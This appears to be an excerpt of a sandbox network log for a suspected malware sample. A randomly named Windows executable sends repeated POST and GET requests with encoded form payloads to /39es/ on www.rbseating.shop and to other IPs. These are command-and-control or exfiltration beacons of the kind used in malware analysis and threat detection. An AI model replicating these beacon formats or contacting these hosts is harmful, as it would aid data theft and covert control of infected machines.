Oct 3, 2024 18:15:28.150343895 CEST	1289	IN	Data Raw: 25 f8 50 18 ee bd 93 2a d4 c9 f1 02 a5 c5 d3 23 b7 c6 26 97 d0 bb bc 36 e1 7c ed 01 70 2a 85 4c 65 39 07 4d 39 cc 1e 42 82 ac b9 70 76 27 b9 45 d0 04 8b 43 2b 56 c1 5e a8 5d fc e1 13 66 2e 04 8c 0d 5e 84 d1 24 49 cd 06 be 07 bf d3 c1 00 21 f8 db Data Ascii: %P#&6\|pLe9M9Bpv'EC+V^]f.^$I!f,`(P)EI[TiBTe). 8a !Nwi&:a:iT.xniF%y=/0L*AAT&/bDGsTZLebj#r0o>`-",E
Oct 3, 2024 18:15:28.247855902 CEST	1289	IN	Data Raw: 67 a3 17 a5 f7 8b ba 5d e5 d1 db 03 83 59 ac da a6 5f d8 b2 6d 16 7e 57 61 d0 a6 40 75 31 35 b7 ca 42 7a 35 c8 78 d9 eb 31 98 85 f6 09 86 cf 40 3d 00 2f 4b 01 a5 f7 8b ce d9 a6 5f 6c 4c bf 6e 35 59 fd 7f 13 43 a6 85 2a 44 53 41 e0 88 c6 00 97 c4 Data Ascii: g]Y_m~Wa@u15Bz5x1@=/K_lLn5YC*DSAj#~:$e`xJu\|VUev{bAM4J_h(a}9ly{NZB!0@2F.F8SBuQPm]7 :d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.11.20	49784	162.250.125.14	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:30.240906000 CEST	810	OUT	POST /39es/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.rbseating.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.rbseating.shop Referer: http://www.rbseating.shop/39es/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 54 53 45 42 63 7a 66 7a 2b 52 50 6e 6d 2b 45 69 68 44 2b 50 62 4d 70 30 47 5a 61 75 70 45 78 56 56 56 53 67 75 73 4d 72 30 53 75 78 75 75 71 42 7a 6a 4d 5a 53 63 35 77 6f 6b 7a 43 6d 4f 6f 6f 38 36 33 4e 55 42 35 55 47 38 77 6f 36 39 36 63 4f 62 31 65 62 4c 6c 7a 31 52 53 5a 6d 69 2b 5a 37 78 70 2b 58 47 68 6a 4b 6f 64 77 77 66 63 4b 47 4d 41 75 61 2b 4b 4d 41 48 31 31 76 4f 66 37 41 47 69 41 69 46 62 6b 53 47 69 44 66 63 56 71 68 65 6e 55 31 70 49 56 53 61 4f 30 51 54 50 54 74 65 65 48 5a 64 6e 37 4f 48 43 31 73 6a 61 47 72 6f 38 58 32 57 71 50 49 67 45 4f 4c 47 6c 57 68 62 64 79 37 4f 79 77 55 48 52 39 6c 41 31 4c 42 6e 4d 4a 2f 51 51 3d Data Ascii: SLTxDJ=TSEBczfz+RPnm+EihD+PbMp0GZaupExVVVSgusMr0SuxuuqBzjMZSc5wokzCmOoo863NUB5UG8wo696cOb1ebLlz1RSZmi+Z7xp+XGhjKodwwfcKGMAua+KMAH11vOf7AGiAiFbkSGiDfcVqhenU1pIVSaO0QTPTteeHZdn7OHC1sjaGro8X2WqPIgEOLGlWhbdy7OywUHR9lA1LBnMJ/QQ=
Oct 3, 2024 18:15:30.752223969 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://rbseating.shop/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Thu, 03 Oct 2024 16:15:30 GMT Data Raw: 33 65 62 33 0d 0a f4 49 14 a2 a8 a6 fd 70 33 52 b4 7a 08 68 a4 2c 9c bf 7f 06 8e eb b1 ce fb 7f f3 55 fb 75 72 4e 17 fb 6b 7a 22 13 0e 00 81 d4 cf a1 2a 75 dc 26 e9 ef 93 f6 fd 6c 8f 06 22 2f 29 c4 20 c0 02 97 fa 94 e1 6e 31 e7 ad 96 fd 53 d3 de 9a 9a 71 d1 bf c0 ff 10 ff 07 20 1c bc 2d 69 2f 2b 1b af cf b1 fc 8f 53 03 11 10 05 9b 22 69 80 ba d6 eb 99 14 7d 8a 32 55 8a 36 65 7e d5 e5 ef fd bd 56 79 bb 17 21 e2 68 c3 c9 96 58 b0 40 90 51 d6 3b d1 81 1b fc ff df 0f be be 1c 48 96 02 b0 03 19 02 c1 80 dc f6 b9 e7 d2 7b 9f 2c 70 f7 6a e5 26 e3 c8 83 a6 ee 55 e3 82 61 00 21 da da 70 63 bb 61 01 87 30 5a 4e b2 a7 45 2d 50 36 e1 04 59 be cb a1 d1 fc 35 8f 88 20 43 d0 56 6f 19 b3 ea f4 6a 79 85 90 40 a4 a4 e9 ce 3f 86 5a 3f 66 f3 bf 1b 05 c4 19 54 20 bd c7 50 7d dd bb 4d 54 f0 13 8b a8 c4 a7 13 60 dd 5f c1 38 b5 76 fb aa 1b 6f 92 8e c4 97 bf 25 db 9a 5c dd 22 dd 26 ff be 88 b4 49 ce fd 6e e2 e6 39 dd e2 26 61 96 5c 42 0e 9f 45 bd b0 c9 7a 11 87 13 bd 7f c8 89 58 6a 8b 9b 2c d9 7e f6 f2 05 7c 6e 8d 7b 86 80 [TRUNCATED] Data Ascii: 3eb3Ip3Rzh,UurNkz"u&l"/) n1Sq -i/+S"i}2U6e~Vy!hX@Q;H{,pj&Ua!pca0ZNE-P6Y5 CVojy@?Z?fT P}MT`_8vo%\"&In9&a\BEzXj,~\|n{vttiFLfY'/1N=++<7?r4o>_gaZ8j<$\m?I?nF]tEvMA$p&+{:tsj#);iB_TB[t(,^a-Sh> qM^G#`+>NQ<8E~\|fqq8y8G<oRSR>8=uBL<N?@-5N~_1lr)d/WXAe+:y;6u#uB(SdK8mK;FrV/v&wsq1FA7(#mw~IF5hq$Z9q~~RGYjwQ*W\|GYk3Wl]Oq4Cem\|IJV4amNpH>gIc
Oct 3, 2024 18:15:30.752314091 CEST	1289	IN	Data Raw: 5e 0d e0 66 b3 09 0f f4 34 b2 4a fe f8 fe a5 8b 27 43 e5 21 25 36 94 3a 62 52 5b dd 24 05 e6 b7 84 4b 91 27 8f 7d 75 37 2b 1f fb aa ae 67 8f 7d 8d aa 7e ec 73 a5 aa c7 3e 5f ea 55 68 67 09 e8 37 dd 9f 03 fb e2 2a 2b ae 50 af ae 6a fd 78 d9 59 12 Data Ascii: ^f4J'C!%6:bR[$K'}u7+g}~s>_Uhg7*+PjxY$Zl2c_7LjU@o~%^[7!K{@We\|l}q&:@$l_X%Wtko1\|m^p2hk0.v%_8<u2T+)bT
Oct 3, 2024 18:15:30.752326965 CEST	1289	IN	Data Raw: f1 66 88 d3 71 32 ca 3b ce 95 5a 97 33 5b 8e e8 62 d0 44 c0 76 2d 30 e8 1d 4a e2 d7 ef 7d 75 11 d1 0b 79 26 57 d8 b2 f5 c8 05 27 f3 67 ef a9 86 9e cb 8c ad c7 43 c6 25 3a 0a 17 a1 02 ce 19 0e 19 3f e4 11 3f 7e ce 0f b3 1f 7f c6 0f f3 1f 7f ce 0f Data Ascii: fq2;Z3[bDv-0J}uy&W'gC%:??~9K./f?zGCiJRr2y^w+gEv={Nhli/dfhYvw(@#Ha@P;3,}d%GUGyv*j.<rHY`MeU\|
Oct 3, 2024 18:15:30.752405882 CEST	1289	IN	Data Raw: ca 9d ef fa 4e 54 41 9f 30 48 93 2b d5 7b 5e 30 96 c2 a8 a0 80 56 1b d7 dc cc 12 aa 91 da 5e 9c 91 e7 79 8b 60 3b 05 f9 2e 06 85 f5 f8 bb d2 57 78 67 74 ba 41 b8 e6 fd 95 1c 01 0d c1 f5 6a c8 b1 08 d7 1b d3 aa 56 96 be c5 35 fb 2a 72 79 4d ba aa Data Ascii: NTA0H+{^0V^y`;.WxgtAjV5*ryMvwv#,.U) W)QeH'nq:5aU8=xMP86lkVKjf.522}hs}h]U(Ie&tc6
Oct 3, 2024 18:15:30.752599001 CEST	1289	IN	Data Raw: a5 a6 69 67 9a 5e 5e 0d 87 ac 46 28 82 96 27 db 6c 82 ab 4f 7d 71 0d 46 3e 90 d9 56 98 bd 0c c6 7c 20 f9 56 58 bc 0c ca f2 66 5a 20 c7 e9 33 43 2d 21 90 e7 bb c9 62 1a d4 70 2c bc 12 c4 53 e3 65 b3 16 c5 52 bd 75 5b 3b 5d 76 05 7b eb a8 ee 6a f1 Data Ascii: ig^^F('lO}qF>V\| VXfZ 3C-!bp,SeRu[;]v{j"m>>pq>fMi,1-f4}hMkk%O2%\|UWP8VP'\%(cHm* ,{HG3JEe}$]5T]Na6E
Oct 3, 2024 18:15:30.752702951 CEST	1289	IN	Data Raw: 55 40 a2 33 6f 10 e2 d4 89 35 15 cc b2 38 94 1c f2 c2 38 f9 2e f4 5c 03 66 21 ea 02 32 a1 1c 39 de 4f 92 28 c7 fb 0e 06 a5 21 3f 4c 7f 63 6a 85 43 d4 39 53 37 d1 89 bf 89 fb fc 32 54 4e 72 36 f9 0b 4c c9 11 7e 13 5e db 33 f7 e6 44 41 2f 58 3e bb Data Ascii: U@3o588.\f!29O(!?LcjC9S72TNr6L~^3DA/X>r3@vBCQ,\|Cm]>_'[D{l`11XVy1l%e'1lC 8_2wZvGU_k`=6uVWBz%\I c]@mJN2!n+&
Oct 3, 2024 18:15:30.752713919 CEST	1289	IN	Data Raw: 80 40 55 5f d2 55 d5 22 2d f0 a6 17 01 80 54 71 4c 1c b3 61 09 de 34 27 2f e4 7c ca eb 5d 89 74 14 c8 c9 a9 70 ef 03 ce ba cb 00 a5 c1 b1 a7 59 2d 47 7d 1f 05 72 72 2a dc fb 80 f3 ee 72 40 69 6a 79 50 f3 a8 7b 14 c8 c9 a9 70 ef 03 9e 75 37 03 94 Data Ascii: @U_U"-TqLa4'/\|]tpY-G}rrr@ijyP{pu7uu99}:G7[xPxPQ99n%Kn(M-2Q 'qyuu(S_h`wizAth7$xTqruOxk>[7tV\l]
Oct 3, 2024 18:15:30.752754927 CEST	1289	IN	Data Raw: 71 1f f9 f5 79 39 08 e3 c2 7a ca 9b 60 aa 0b 99 12 d2 12 7b 14 5a c6 23 93 e9 42 7b 9a c7 d4 01 75 f2 50 19 1d 59 dc 5c 26 8a 48 47 ca 92 27 30 e8 54 a0 f3 e2 c5 33 17 1c 90 ca 4b 8c 6f cf e3 48 53 89 a9 d9 b2 12 69 8f cb 6b da d2 f3 22 f4 d2 32 Data Ascii: qy9z`{Z#B{uPY\&HG'0T3KoHSik"25k.-:M_Q:Qv[uh3IxD5J#f\|2/h^pa<;{jm7 \Yvl9v_z27<*B#"y#[o$zal
Oct 3, 2024 18:15:30.752767086 CEST	1289	IN	Data Raw: 3f 7b 1d b0 80 6c 1d f2 3e 9f 8b 59 01 f3 e9 ec d3 a3 65 26 e6 05 cc a6 3f 24 ba 4e f4 5f dc 29 82 c8 02 04 ca 87 39 4f 48 5e 00 4f 46 39 f9 0f 52 4e 78 52 40 3e e2 49 50 6c 46 f2 e4 ed 50 37 51 c0 29 fb c3 23 dc bb 8f f2 a8 1a b2 ac b7 d6 af 49 Data Ascii: ?{l>Ye&?$N_)9OH^OF9RNxR@>IPlFP7Q)#IS\f;)`T~nS!m8]V)vvg5qFpZ&zMjztV'MpTq'0ZhQ5K].c,rA,N3oefI.Sm]WNek!IgBB0
Oct 3, 2024 18:15:30.752803087 CEST	1289	IN	Data Raw: 25 f8 50 18 ee bd 93 2a d4 c9 f1 02 a5 c5 d3 23 b7 c6 26 97 d0 bb bc 36 e1 7c ed 01 70 2a 85 4c 65 39 07 4d 39 cc 1e 42 82 ac b9 70 76 27 b9 45 d0 04 8b 43 2b 56 c1 5e a8 5d fc e1 13 66 2e 04 8c 0d 5e 84 d1 24 49 cd 06 be 07 bf d3 c1 00 21 f8 db Data Ascii: %P#&6\|pLe9M9Bpv'EC+V^]f.^$I!f,`(P)EI[TiBTe). 8a !Nwi&:a:iT.xniF%y=/0L*AAT&/bDGsTZLebj#r0o>`-",E
Oct 3, 2024 18:15:30.847242117 CEST	1289	IN	Data Raw: 67 a3 17 a5 f7 8b ba 5d e5 d1 db 03 83 59 ac da a6 5f d8 b2 6d 16 7e 57 61 d0 a6 40 75 31 35 b7 ca 42 7a 35 c8 78 d9 eb 31 98 85 f6 09 86 cf 40 3d 00 2f 4b 01 a5 f7 8b ce d9 a6 5f 6c 4c bf 6e 35 59 fd 7f 13 43 a6 85 2a 44 53 41 e0 88 c6 00 97 c4 Data Ascii: g]Y_m~Wa@u15Bz5x1@=/K_lLn5YC*DSAj#~:$e`xJu\|VUev{bAM4J_h(a}9ly{NZB!0@2F.F8SBuQPm]7 :d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.11.20	49785	162.250.125.14	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:32.866683960 CEST	3867	OUT	POST /39es/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.rbseating.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.rbseating.shop Referer: http://www.rbseating.shop/39es/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 54 53 45 42 63 7a 66 7a 2b 52 50 6e 6d 2b 45 69 68 44 2b 50 62 4d 70 30 47 5a 61 75 70 45 78 56 56 56 53 67 75 73 4d 72 30 53 32 78 75 63 53 42 38 67 6b 5a 54 63 35 77 6c 45 7a 42 6d 4f 70 6f 38 37 54 42 55 42 31 75 47 2b 59 6f 35 59 32 63 61 36 31 65 4d 62 6c 7a 38 78 53 59 35 79 2f 4e 37 78 34 35 58 47 78 6a 4b 6f 64 77 77 63 30 4b 50 2b 6f 75 59 2b 4b 50 48 48 30 36 35 2b 66 48 41 43 33 39 69 46 65 52 52 32 43 44 63 2f 39 71 74 4e 50 55 38 70 49 4c 56 61 4f 57 51 54 4c 4d 74 64 71 4c 5a 65 37 56 4f 41 2b 31 36 45 79 62 79 71 67 48 70 55 4b 6b 54 79 4d 48 46 58 4d 4a 68 38 56 49 39 6f 32 59 4b 42 52 73 76 32 35 30 59 31 34 64 68 48 36 43 79 4f 62 4f 64 53 4f 47 37 6b 56 64 31 45 47 4f 6a 70 43 49 69 2b 6b 4f 64 47 32 32 48 46 39 65 57 31 61 74 4e 72 7a 61 49 63 47 30 41 65 47 37 6b 50 4e 75 5a 54 65 45 47 38 38 44 64 33 68 71 46 39 62 6d 45 55 2f 48 4f 6d 7a 54 49 79 69 4b 74 64 33 69 37 72 35 7a 39 4e 63 31 78 6c 4d 43 68 44 51 58 2b 65 38 35 77 6b 49 50 79 74 74 47 56 2b 6e [TRUNCATED] Data Ascii: SLTxDJ=TSEBczfz+RPnm+EihD+PbMp0GZaupExVVVSgusMr0S2xucSB8gkZTc5wlEzBmOpo87TBUB1uG+Yo5Y2ca61eMblz8xSY5y/N7x45XGxjKodwwc0KP+ouY+KPHH065+fHAC39iFeRR2CDc/9qtNPU8pILVaOWQTLMtdqLZe7VOA+16EybyqgHpUKkTyMHFXMJh8VI9o2YKBRsv250Y14dhH6CyObOdSOG7kVd1EGOjpCIi+kOdG22HF9eW1atNrzaIcG0AeG7kPNuZTeEG88Dd3hqF9bmEU/HOmzTIyiKtd3i7r5z9Nc1xlMChDQX+e85wkIPyttGV+neY0JjgUQB3pURPtfWioDV30+qtzXH+HRMKmPUUYEUfUo160Z/ENu3SFZMLSGFIM3ktSCz8w3Ko/68jSVHBoj3k9ZYEo5aH3y/SpPhpTDj862qjrGvR3kfI0g4aFSOlPhqyAjYhrQKmkqK62M1qME066r2u3I/MtS4VLDvnCpQKISOGH7X+0NumnH4N5d1MBDXagLisqsV7jTGs0eMu93WunkInhO9WouZMt1e/ErBGqdhRje0MjPQq2TJSNrtX3l73jUx58I0g7XuvXnygop+RTnBuhgkgxIHq9wZpY7pXyRpWutaIur/NNwv8/bnXaNU06hD6iBWbKM9H5qUza/Fii1ZnNnVfqJFfVTUyxHaeRZie/tLGy36h+NvwUkKGCqm+0d6O39xMwgCBLF2gNsUwJMpDJBEuxCiMrMykhVxEy3G1mqH3EjDiVuRgm4uruABm1bKL+OyKtBnm+q0519DJA3LksjTZGXTDKNes5zvmSYkIKml6d860WwyDKS8XBIAVMfMBNb1ZrqDqPNszWwMQVQoIGMnD/cdxsc0EEWy+y7W9Zc0uLkPS20FX2kerMHD4fsJY/QqHRRna7QjFTTHczLEmTVMmVVfOWqm9RiG0skK0RrqWRSrjGfAMRYqrKBpDd66g8VMpAh55p59gPYn7L5SXUdb97+8r [TRUNCATED]
Oct 3, 2024 18:15:32.866734982 CEST	4092	OUT	Data Raw: 39 4a 44 52 78 57 57 50 51 51 4b 33 66 66 6c 77 45 39 4f 2f 77 4b 44 66 63 43 6e 68 6e 69 45 51 61 58 4b 4f 2f 54 71 4f 61 62 77 42 73 78 69 71 55 49 53 52 6a 69 36 39 30 38 6f 4d 30 39 74 49 73 48 2f 54 61 51 75 54 5a 4a 50 77 71 6e 72 4b 42 63 Data Ascii: 9JDRxWWPQQK3fflwE9O/wKDfcCnhniEQaXKO/TqOabwBsxiqUISRji6908oM09tIsH/TaQuTZJPwqnrKBc/L1oCIH93WU7DvazyMGGtff39VXQdwLHVXjbR2vgI91eIexeWx9iH90l3G02lQuhtTEHw4zEa0IPS/kGUUV5hLBN0U4k+4GN58gT/HJFXoJKvT9XKoMpB3dM1zuYwRHRFZIB6BFbjPu+knP+Uo6corXUOsfvstc6B
Oct 3, 2024 18:15:33.394382000 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://rbseating.shop/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Thu, 03 Oct 2024 16:15:33 GMT Data Raw: 33 65 62 33 0d 0a f4 49 14 a2 a8 a6 fd 70 33 52 b4 7a 08 68 a4 2c 9c bf 7f 06 8e eb b1 ce fb 7f f3 55 fb 75 72 4e 17 fb 6b 7a 22 13 0e 00 81 d4 cf a1 2a 75 dc 26 e9 ef 93 f6 fd 6c 8f 06 22 2f 29 c4 20 c0 02 97 fa 94 e1 6e 31 e7 ad 96 fd 53 d3 de 9a 9a 71 d1 bf c0 ff 10 ff 07 20 1c bc 2d 69 2f 2b 1b af cf b1 fc 8f 53 03 11 10 05 9b 22 69 80 ba d6 eb 99 14 7d 8a 32 55 8a 36 65 7e d5 e5 ef fd bd 56 79 bb 17 21 e2 68 c3 c9 96 58 b0 40 90 51 d6 3b d1 81 1b fc ff df 0f be be 1c 48 96 02 b0 03 19 02 c1 80 dc f6 b9 e7 d2 7b 9f 2c 70 f7 6a e5 26 e3 c8 83 a6 ee 55 e3 82 61 00 21 da da 70 63 bb 61 01 87 30 5a 4e b2 a7 45 2d 50 36 e1 04 59 be cb a1 d1 fc 35 8f 88 20 43 d0 56 6f 19 b3 ea f4 6a 79 85 90 40 a4 a4 e9 ce 3f 86 5a 3f 66 f3 bf 1b 05 c4 19 54 20 bd c7 50 7d dd bb 4d 54 f0 13 8b a8 c4 a7 13 60 dd 5f c1 38 b5 76 fb aa 1b 6f 92 8e c4 97 bf 25 db 9a 5c dd 22 dd 26 ff be 88 b4 49 ce fd 6e e2 e6 39 dd e2 26 61 96 5c 42 0e 9f 45 bd b0 c9 7a 11 87 13 bd 7f c8 89 58 6a 8b 9b 2c d9 7e f6 f2 05 7c 6e 8d 7b 86 80 [TRUNCATED] Data Ascii: 3eb3Ip3Rzh,UurNkz"u&l"/) n1Sq -i/+S"i}2U6e~Vy!hX@Q;H{,pj&Ua!pca0ZNE-P6Y5 CVojy@?Z?fT P}MT`_8vo%\"&In9&a\BEzXj,~\|n{vttiFLfY'/1N=++<7?r4o>_gaZ8j<$\m?I?nF]tEvMA$p&+{:tsj#);iB_TB[t(,^a-Sh> qM^G#`+>NQ<8E~\|fqq8y8G<oRSR>8=uBL<N?@-5N~_1lr)d/WXAe+:y;6u#uB(SdK8mK;FrV/v&wsq1FA7(#mw~IF5hq$Z9q~~RGYjwQ*W\|GYk3Wl]Oq4Cem\|IJV4amNpH>gIc
Oct 3, 2024 18:15:33.394465923 CEST	1289	IN	Data Raw: 5e 0d e0 66 b3 09 0f f4 34 b2 4a fe f8 fe a5 8b 27 43 e5 21 25 36 94 3a 62 52 5b dd 24 05 e6 b7 84 4b 91 27 8f 7d 75 37 2b 1f fb aa ae 67 8f 7d 8d aa 7e ec 73 a5 aa c7 3e 5f ea 55 68 67 09 e8 37 dd 9f 03 fb e2 2a 2b ae 50 af ae 6a fd 78 d9 59 12 Data Ascii: ^f4J'C!%6:bR[$K'}u7+g}~s>_Uhg7*+PjxY$Zl2c_7LjU@o~%^[7!K{@We\|l}q&:@$l_X%Wtko1\|m^p2hk0.v%_8<u2T+)bT
Oct 3, 2024 18:15:33.394593954 CEST	1289	IN	Data Raw: f1 66 88 d3 71 32 ca 3b ce 95 5a 97 33 5b 8e e8 62 d0 44 c0 76 2d 30 e8 1d 4a e2 d7 ef 7d 75 11 d1 0b 79 26 57 d8 b2 f5 c8 05 27 f3 67 ef a9 86 9e cb 8c ad c7 43 c6 25 3a 0a 17 a1 02 ce 19 0e 19 3f e4 11 3f 7e ce 0f b3 1f 7f c6 0f f3 1f 7f ce 0f Data Ascii: fq2;Z3[bDv-0J}uy&W'gC%:??~9K./f?zGCiJRr2y^w+gEv={Nhli/dfhYvw(@#Ha@P;3,}d%GUGyv*j.<rHY`MeU\|
Oct 3, 2024 18:15:33.394607067 CEST	1289	IN	Data Raw: ca 9d ef fa 4e 54 41 9f 30 48 93 2b d5 7b 5e 30 96 c2 a8 a0 80 56 1b d7 dc cc 12 aa 91 da 5e 9c 91 e7 79 8b 60 3b 05 f9 2e 06 85 f5 f8 bb d2 57 78 67 74 ba 41 b8 e6 fd 95 1c 01 0d c1 f5 6a c8 b1 08 d7 1b d3 aa 56 96 be c5 35 fb 2a 72 79 4d ba aa Data Ascii: NTA0H+{^0V^y`;.WxgtAjV5*ryMvwv#,.U) W)QeH'nq:5aU8=xMP86lkVKjf.522}hs}h]U(Ie&tc6
Oct 3, 2024 18:15:33.394718885 CEST	1289	IN	Data Raw: a5 a6 69 67 9a 5e 5e 0d 87 ac 46 28 82 96 27 db 6c 82 ab 4f 7d 71 0d 46 3e 90 d9 56 98 bd 0c c6 7c 20 f9 56 58 bc 0c ca f2 66 5a 20 c7 e9 33 43 2d 21 90 e7 bb c9 62 1a d4 70 2c bc 12 c4 53 e3 65 b3 16 c5 52 bd 75 5b 3b 5d 76 05 7b eb a8 ee 6a f1 Data Ascii: ig^^F('lO}qF>V\| VXfZ 3C-!bp,SeRu[;]v{j"m>>pq>fMi,1-f4}hMkk%O2%\|UWP8VP'\%(cHm* ,{HG3JEe}$]5T]Na6E
Oct 3, 2024 18:15:33.394731045 CEST	1289	IN	Data Raw: 55 40 a2 33 6f 10 e2 d4 89 35 15 cc b2 38 94 1c f2 c2 38 f9 2e f4 5c 03 66 21 ea 02 32 a1 1c 39 de 4f 92 28 c7 fb 0e 06 a5 21 3f 4c 7f 63 6a 85 43 d4 39 53 37 d1 89 bf 89 fb fc 32 54 4e 72 36 f9 0b 4c c9 11 7e 13 5e db 33 f7 e6 44 41 2f 58 3e bb Data Ascii: U@3o588.\f!29O(!?LcjC9S72TNr6L~^3DA/X>r3@vBCQ,\|Cm]>_'[D{l`11XVy1l%e'1lC 8_2wZvGU_k`=6uVWBz%\I c]@mJN2!n+&
Oct 3, 2024 18:15:33.394813061 CEST	1289	IN	Data Raw: 80 40 55 5f d2 55 d5 22 2d f0 a6 17 01 80 54 71 4c 1c b3 61 09 de 34 27 2f e4 7c ca eb 5d 89 74 14 c8 c9 a9 70 ef 03 ce ba cb 00 a5 c1 b1 a7 59 2d 47 7d 1f 05 72 72 2a dc fb 80 f3 ee 72 40 69 6a 79 50 f3 a8 7b 14 c8 c9 a9 70 ef 03 9e 75 37 03 94 Data Ascii: @U_U"-TqLa4'/\|]tpY-G}rrr@ijyP{pu7uu99}:G7[xPxPQ99n%Kn(M-2Q 'qyuu(S_h`wizAth7$xTqruOxk>[7tV\l]
Oct 3, 2024 18:15:33.395065069 CEST	1289	IN	Data Raw: 71 1f f9 f5 79 39 08 e3 c2 7a ca 9b 60 aa 0b 99 12 d2 12 7b 14 5a c6 23 93 e9 42 7b 9a c7 d4 01 75 f2 50 19 1d 59 dc 5c 26 8a 48 47 ca 92 27 30 e8 54 a0 f3 e2 c5 33 17 1c 90 ca 4b 8c 6f cf e3 48 53 89 a9 d9 b2 12 69 8f cb 6b da d2 f3 22 f4 d2 32 Data Ascii: qy9z`{Z#B{uPY\&HG'0T3KoHSik"25k.-:M_Q:Qv[uh3IxD5J#f\|2/h^pa<;{jm7 \Yvl9v_z27<*B#"y#[o$zal
Oct 3, 2024 18:15:33.395113945 CEST	1289	IN	Data Raw: 3f 7b 1d b0 80 6c 1d f2 3e 9f 8b 59 01 f3 e9 ec d3 a3 65 26 e6 05 cc a6 3f 24 ba 4e f4 5f dc 29 82 c8 02 04 ca 87 39 4f 48 5e 00 4f 46 39 f9 0f 52 4e 78 52 40 3e e2 49 50 6c 46 f2 e4 ed 50 37 51 c0 29 fb c3 23 dc bb 8f f2 a8 1a b2 ac b7 d6 af 49 Data Ascii: ?{l>Ye&?$N_)9OH^OF9RNxR@>IPlFP7Q)#IS\f;)`T~nS!m8]V)vvg5qFpZ&zMjztV'MpTq'0ZhQ5K].c,rA,N3oefI.Sm]WNek!IgBB0
Oct 3, 2024 18:15:33.395126104 CEST	1289	IN	Data Raw: 25 f8 50 18 ee bd 93 2a d4 c9 f1 02 a5 c5 d3 23 b7 c6 26 97 d0 bb bc 36 e1 7c ed 01 70 2a 85 4c 65 39 07 4d 39 cc 1e 42 82 ac b9 70 76 27 b9 45 d0 04 8b 43 2b 56 c1 5e a8 5d fc e1 13 66 2e 04 8c 0d 5e 84 d1 24 49 cd 06 be 07 bf d3 c1 00 21 f8 db Data Ascii: %P#&6\|pLe9M9Bpv'EC+V^]f.^$I!f,`(P)EI[TiBTe). 8a !Nwi&:a:iT.xniF%y=/0L*AAT&/bDGsTZLebj#r0o>`-",E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.11.20	49786	162.250.125.14	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:35.490434885 CEST	520	OUT	GET /39es/?SLTxDJ=eQshfEfdwSnAzrJ2jxGgNrEDJqWG121KZX6fzsQi9Q6srdS+pCoeb+ZZoWaInIAsqOuwaQAybftVmN+kQrlALvUyxAy6phvN3h0mYXE1KKUlyvAZJeg5ZIE=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.rbseating.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:15:35.930792093 CEST	449	IN	HTTP/1.1 301 Moved Permanently Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 x-redirect-by: WordPress location: http://rbseating.shop/39es/?SLTxDJ=eQshfEfdwSnAzrJ2jxGgNrEDJqWG121KZX6fzsQi9Q6srdS+pCoeb+ZZoWaInIAsqOuwaQAybftVmN+kQrlALvUyxAy6phvN3h0mYXE1KKUlyvAZJeg5ZIE=&sdqp=DdBtjpu0 content-length: 0 date: Thu, 03 Oct 2024 16:15:35 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.11.20	49787	156.227.17.86	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
